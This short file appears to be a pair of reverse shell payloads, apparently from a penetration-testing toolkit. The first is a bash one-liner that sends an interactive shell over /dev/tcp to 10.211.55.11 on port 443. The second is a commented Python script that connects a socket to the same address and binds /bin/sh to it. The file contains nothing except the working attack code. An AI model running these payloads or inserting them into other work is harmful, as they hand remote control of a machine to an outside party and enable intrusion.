/bin/bash -i > /dev/tcp/10.211.55.11/443 0<&1 2>&1

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.211.55.11",443));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);